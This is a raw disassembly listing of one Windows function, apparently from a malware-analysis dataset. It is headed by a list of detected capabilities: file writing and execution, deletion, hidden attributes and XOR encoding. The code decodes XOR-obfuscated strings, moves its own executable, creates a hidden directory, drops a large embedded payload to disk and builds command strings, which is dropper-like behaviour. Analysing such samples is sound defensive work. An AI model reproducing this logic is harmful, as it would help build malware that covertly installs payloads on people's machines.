Function at 0x140082c80
Capabilities:
Create directory
Delete file
Encode data using xor
Execute command
Move file
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x140303960]
xor rax, rsp
mov qword [rbp + 0x270], rax
call fcn.14007e9d0
mov dword [rbp - 0x48], 0xd0a5d6d5
mov word [rbp - 0x44], 0x100
xor r14d, r14d
mov ecx, r14d
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x48], al
inc rcx
cmp rcx, 4
jb 0x140082cd0
mov byte [rbp - 0x43], r14b
lea r8, [0x1406c7180]
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x40]
call fcn.14008b3d0
cmp qword [rax + 0x18], 0x10
jb 0x140082d03
mov rax, qword [rax]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1406c9e88], rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140082d78
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082d6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082d6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov rax, qword [0x1406c9e88]
cmp rax, 0xffffffffffffffff
jne 0x140084aad
mov r15, rax
cmp byte [0x1406c9df9], r14b
jne 0x140082f5e
lea edx, [rax + 0x10]
lea ecx, [rax + 6]
call fcn.1400817d0
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140081630
mov rbx, rax
lea rdi, [0x1406c7260]
cmp rdi, rax
je 0x140082e32
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0x10
jb 0x140082df5
mov rcx, qword [0x1406c7260]
inc rdx
cmp rdx, 0x1000
jb 0x140082df0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140082e66
mov rcx, r8
call fcn.1402376e0
mov qword [0x1406c7270], r14
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x1406c7260], r14b
movups xmm0, xmmword [rbx]
movups xmmword [0x1406c7260], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1406c7270], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], r14b
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140082e72
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082e6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082e6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov dword [rbp - 0x60], 0xe9f3efa7
mov word [rbp - 0x5c], 0x100
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 4
jb 0x140082e90
mov byte [rbp - 0x5b], r14b
lea rdx, [rbp - 0x60]
mov rcx, rdi
call fcn.140088400
mov r8d, 0x104
lea rdx, [rbp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rbp], r14
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x160]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x140082ee0
lea rdx, [rbp + 0x160]
lea rcx, [rbp]
call fcn.1400890f0
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdi, qword [0x1406c7260]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
mov rdx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140082f5e
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082f59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082f59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov dword [rbp - 0x60], 0x100b0ca
mov rcx, r14
nop dword [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 2
jb 0x140082f70
mov byte [rbp - 0x5d], r14b
lea rdx, [rbp - 0x60]
lea r12, [0x1406c6f40]
mov rcx, r12
call fcn.140088400
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0xa
lea rdi, [0x1406c6fa0]
lea rsi, [0x1406c7200]
lea r13, [0x1406c7120]
call fcn.140081b90
mov rdx, qword [0x1406c6fb0]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x140082ffe
lea rcx, [rdx + 1]
mov qword [0x1406c6fb0], rcx
mov rcx, rdi
cmp r8, 0x10
cmovae rcx, qword [0x1406c6fa0]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x14008300a
movzx r9d, al
mov rcx, rdi
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c7210]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x140083046
lea rcx, [rdx + 1]
mov qword [0x1406c7210], rcx
mov rcx, rsi
cmp r8, 0x10
cmovae rcx, qword [0x1406c7200]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x140083052
movzx r9d, al
mov rcx, rsi
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c6e70]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x140083092
lea rcx, [rdx + 1]
mov qword [0x1406c6e70], rcx
lea rcx, [0x1406c6e60]
cmp r8, 0x10
cmovae rcx, qword [0x1406c6e60]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x1400830a2
movzx r9d, al
lea rcx, [0x1406c6e60]
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c6e50]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x1400830e2
lea rcx, [rdx + 1]
mov qword [0x1406c6e50], rcx
lea rcx, [0x1406c6e40]
cmp r8, 0x10
cmovae rcx, qword [0x1406c6e40]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x1400830f2
movzx r9d, al
lea rcx, [0x1406c6e40]
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c6ef0]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x140083132
lea rcx, [rdx + 1]
mov qword [0x1406c6ef0], rcx
lea rcx, [0x1406c6ee0]
cmp r8, 0x10
cmovae rcx, qword [0x1406c6ee0]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x140083142
movzx r9d, al
lea rcx, [0x1406c6ee0]
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c7090]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x140083182
lea rcx, [rdx + 1]
mov qword [0x1406c7090], rcx
lea rcx, [0x1406c7080]
cmp r8, 0x10
cmovae rcx, qword [0x1406c7080]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x140083192
movzx r9d, al
lea rcx, [0x1406c7080]
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c7070]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x1400831d2
lea rcx, [rdx + 1]
mov qword [0x1406c7070], rcx
lea rcx, [0x1406c7060]
cmp r8, 0x10
cmovae rcx, qword [0x1406c7060]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x1400831e2
movzx r9d, al
lea rcx, [0x1406c7060]
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c6fd0]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x140083222
lea rcx, [rdx + 1]
mov qword [0x1406c6fd0], rcx
lea rcx, [0x1406c6fc0]
cmp r8, 0x10
cmovae rcx, qword [0x1406c6fc0]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x140083232
movzx r9d, al
lea rcx, [0x1406c6fc0]
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c7110]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x140083272
lea rcx, [rdx + 1]
mov qword [0x1406c7110], rcx
lea rcx, [0x1406c7100]
cmp r8, 0x10
cmovae rcx, qword [0x1406c7100]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x140083282
movzx r9d, al
lea rcx, [0x1406c7100]
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c6f10]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x1400832c2
lea rcx, [rdx + 1]
mov qword [0x1406c6f10], rcx
lea rcx, [0x1406c6f00]
cmp r8, 0x10
cmovae rcx, qword [0x1406c6f00]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x1400832d2
movzx r9d, al
lea rcx, [0x1406c6f00]
call fcn.14008cc00
call fcn.140081b90
mov rdx, qword [0x1406c7130]
mov r8, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, r8
jae 0x14008330e
lea rcx, [rdx + 1]
mov qword [0x1406c7130], rcx
mov rcx, r13
cmp r8, 0x10
cmovae rcx, qword [0x1406c7120]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], r14b
jmp 0x14008331a
movzx r9d, al
mov rcx, r13
call fcn.14008cc00
sub rbx, 1
jne 0x140082fc2
mov qword [rbp], r14
mov rsi, r14
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], sil
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x118], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x100], bl
lea edx, [rbx + 0xa]
lea ecx, [rbx + 5]
call fcn.1400817d0
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140081630
lea rcx, [rbp]
cmp rcx, rax
je 0x14008339b
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov rsi, qword [rbp + 0x10]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400833db
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400833d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400833d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov edx, 6
lea ecx, [rdx - 4]
call fcn.1400817d0
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140081700
lea rcx, [rbp + 0x100]
cmp rcx, rax
je 0x14008342f
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r14, qword [rbp + 0x110]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14008346f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008346a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008346a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1402376e0
mov word [rbp - 0x60], 0x5c
mov byte [rbp - 0x5e], 0
lea rax, [rbp - 0x60]
mov rdi, r15
inc rdi
cmp byte [rax + rdi], 0
jne 0x140083480
mov rcx, qword [0x1406c6f50]
mov rdx, qword [reloc.WS2_32.dll_ntohs]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400834d4
lea rax, [rcx + rdi]
mov qword [0x1406c6f50], rax
mov rbx, r12
cmp rdx, 0x10
cmovae rbx, qword [0x1406c6f40]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
jmp 0x1400834e8
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x60]
mov rdx, rdi
mov rcx, r12
call fcn.14008cf30
lea r9, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r9, qword [rbp]
mov rcx, qword [0x1406c6f50]
mov rdx, qword [reloc.WS2_32.dll_ntohs]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140083540
lea rax, [rsi + rcx]
mov qword [0x1406c6f50], rax
mov rbx, r12
cmp rdx, 0x10
cmovae rbx, qword [0x1406c6f40]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
jmp 0x140083550
mov qword [rsp + 0x20], rsi
mov rdx, rsi
mov rcx, r12
call fcn.14008cf30
lea r9, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae r9, qword [rbp + 0x100]
mov rcx, qword [0x1406c6f50]
mov rdx, qword [reloc.WS2_32.dll_ntohs]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x1400835b2
lea rax, [r14 + rcx]
mov qword [0x1406c6f50], rax
mov rbx, r12
cmp rdx, 0x10
cmovae rbx, qword [0x1406c6f40]
add rbx, rcx
mov r8, r14
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [r14 + rbx], 0
jmp 0x1400835c2
mov qword [rsp + 0x20], r14
mov rdx, r14
mov rcx, r12
call fcn.14008cf30
mov rcx, r12
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1406c6f40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rcx, r12
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1406c6f40]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov word [rbp - 0x60], 0x5c
mov byte [rbp - 0x5e], 0
lea rax, [rbp - 0x60]
mov rdi, r15
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140083610
mov rcx, qword [0x1406c6f50]
mov rdx, qword [reloc.WS2_32.dll_ntohs]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083662
lea rax, [rcx + rdi]
mov qword [0x1406c6f50], rax
cmp rdx, 0x10
cmovae r12, qword [0x1406c6f40]
lea rbx, [r12 + rcx]
mov r8, rdi
lea rdx, [rbp - 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
jmp 0x140083676
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x60]
mov rdx, rdi
mov rcx, r12
call fcn.14008cf30
xor r12d, r12d
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa0], r12b
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r13, qword [0x1406c7120]
mov rbx, qword [0x1406c7130]
lea rcx, [rbp + 0xa0]
cmp rbx, 0xf
ja 0x1400836d9
mov qword [rbp + 0xb0], rbx
mov r8, rbx
mov rdx, r13
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx + 0xa0], r12b
jmp 0x1400836e9
mov qword [rsp + 0x20], rbx
mov r9, r13
mov rdx, rbx
call fcn.14008cf30
mov dword [rbp - 0x60], 0xfff2f9a7
mov word [rbp - 0x5c], 0x100
mov rcx, r12
nop dword [rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 4
jb 0x140083700
mov byte [rbp - 0x5b], 0
lea rax, [rbp - 0x60]
mov rdi, r15
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140083720
mov rcx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083778
lea rax, [rcx + rdi]
mov qword [rbp + 0xb0], rax
lea rbx, [rbp + 0xa0]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0xa0]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
jmp 0x140083790
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x60]
mov rdx, rdi
lea rcx, [rbp + 0xa0]
call fcn.14008cf30
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x80], 0
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
lea r9, [0x1406c6fa0]
cmovae r9, qword [0x1406c6fa0]
mov rbx, qword [0x1406c6fb0]
lea rcx, [rbp + 0x80]
cmp rbx, 0xf
ja 0x1400837f7
mov qword [rbp + 0x90], rbx
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + rbx + 0x80], 0
jmp 0x140083804
mov qword [rsp + 0x20], rbx
mov rdx, rbx
call fcn.14008cf30
mov dword [rbp - 0x60], 0xe9f3efa7
mov word [rbp - 0x5c], 0x100
mov rcx, r12
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 4
jb 0x140083820
mov byte [rbp - 0x5b], 0
lea rax, [rbp - 0x60]
mov rdi, r15
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140083840
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rbp + 0x98]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083898
lea rax, [rcx + rdi]
mov qword [rbp + 0x90], rax
lea rbx, [rbp + 0x80]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x80]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
jmp 0x1400838b0
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x60]
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.14008cf30
lea r8, [rbp + 0xa0]
lea rcx, [rbp + 0x60]
call fcn.14008bde0
nop
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rcx, qword [rbp + 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea r8, [rbp + 0x80]
lea rcx, [rbp + 0x120]
call fcn.14008bde0
nop
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rcx, qword [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x2f0c60
mov ecx, 0x2e2200
call fcn.1400817d0
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rcx, qword [rbp + 0x60]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x48]
mov r8d, 0x2e2200
lea rdx, [0x140303a20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rcx, qword [rbp + 0x60]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov dword [rbp - 0x60], 0xefabe9fa
mov dword [rbp - 0x5c], 0xe4eeebff
mov dword [rbp - 0x58], 0x100b2f4
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xa
jb 0x1400839c0
mov byte [rbp - 0x55], 0
lea rax, [rbp - 0x60]
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400839e0
lea rcx, [rbp - 0x20]
cmp rbx, 0xf
ja 0x140083a0a
mov qword [rbp - 0x10], rbx
mov r8, rbx
lea rdx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x20], 0
jmp 0x140083a1b
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x60]
mov rdx, rbx
call fcn.14008cf30
lea rsi, [0x1406c7180]
mov r9, rsi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r9, qword [0x1406c7180]
mov rdi, qword [0x1406c7190]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083a7b
lea rax, [rcx + rdi]
mov qword [rbp - 0x10], rax
lea rbx, [rbp - 0x20]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x20]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140083a8c
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.14008cf30
mov dword [rbp - 0x60], 0xe2e2e8a9
mov dword [rbp - 0x5c], 0xf8fbeffd
mov dword [rbp - 0x58], 0x100b2ac
mov rcx, r12
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xa
jb 0x140083ab0
mov byte [rbp - 0x55], 0
lea rax, [rbp - 0x60]
mov rdi, r15
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140083ad0
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083b19
lea rax, [rdi + rcx]
mov qword [rbp - 0x10], rax
lea rbx, [rbp - 0x20]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x20]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
jmp 0x140083b2e
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x60]
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.14008cf30
lea r9, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r9, qword [rbp + 0x60]
mov rdi, qword [rbp + 0x70]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083b7f
lea rax, [rdi + rcx]
mov qword [rbp - 0x10], rax
lea rbx, [rbp - 0x20]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x20]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140083b90
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.14008cf30
mov dword [rbp - 0x60], 0xfcf2fea9
mov dword [rbp - 0x5c], 0xfbafb3e8
mov dword [rbp - 0x58], 0xf1fde0f4
mov word [rbp - 0x54], 0xf9
mov byte [rbp - 0x52], 1
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xd
jb 0x140083bc0
mov byte [rbp - 0x52], 0
lea rax, [rbp - 0x60]
mov rdi, r15
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140083be0
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083c29
lea rax, [rcx + rdi]
mov qword [rbp - 0x10], rax
lea rbx, [rbp - 0x20]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x20]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x60]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
jmp 0x140083c3e
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x60]
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.14008cf30
mov dword [rbp - 0x60], 0xffabe9fa
mov dword [rbp - 0x5c], 0xb0ffe1f9
mov dword [rbp - 0x58], 0xf1f0f3f7
mov dword [rbp - 0x54], 0x100e2fc
mov rcx, r12
nop dword [rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xe
jb 0x140083c60
mov byte [rbp - 0x51], 0
lea rcx, [rbp - 0x60]
call fcn.140081a90
movdqa xmm0, xmmword [0x1402e24b0]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x50], 0x100
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0x10
jb 0x140083ca0
mov byte [rbp - 0x4f], 0
lea rcx, [rbp - 0x60]
call fcn.140081a90
mov dword [rbp - 0x60], 0xffabe9fa
mov dword [rbp - 0x5c], 0xb0ffe1f9
mov dword [rbp - 0x58], 0xf8f5e7
mov byte [rbp - 0x54], 1
mov rcx, r12
nop dword [rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xb
jb 0x140083ce0
mov byte [rbp - 0x54], 0
lea rcx, [rbp - 0x60]
call fcn.140081a90
mov dword [rbp - 0x60], 0xe8abe9fa
mov dword [rbp - 0x5c], 0xe4eae2e8
mov dword [rbp - 0x58], 0xf3e5b2f4
mov word [rbp - 0x54], 0xfe
mov byte [rbp - 0x52], 1
mov rcx, r12
nop
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 0xd
jb 0x140083d20
mov byte [rbp - 0x52], 0
lea rcx, [rbp - 0x60]
call fcn.140081a90
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x40], 0
mov dword [rbp - 0x60], 0xffabe9fa
mov dword [rbp - 0x5c], 0xb0ffe1f9
mov word [rbp - 0x58], 0x100
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx - 0x77]
xor byte [rbp + rcx - 0x60], al
inc rcx
cmp rcx, 8
jb 0x140083d70
mov byte [rbp - 0x57], 0
lea rax, [rbp - 0x60]
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140083d90
lea rcx, [rbp + 0x40]
cmp rbx, 0xf
ja 0x140083dba
mov qword [rbp + 0x50], rbx
mov r8, rbx
lea rdx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x40], 0
jmp 0x140083dcb
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x60]
mov rdx, rbx
call fcn.14008cf30
mov r9, rsi
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r9, qword [0x1406c7180]
mov rdi, qword [0x1406c7190]
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140083e24
lea rax, [rcx + rdi]
mov qword [rbp + 0x50], rax
lea rbx, [rbp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x40]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
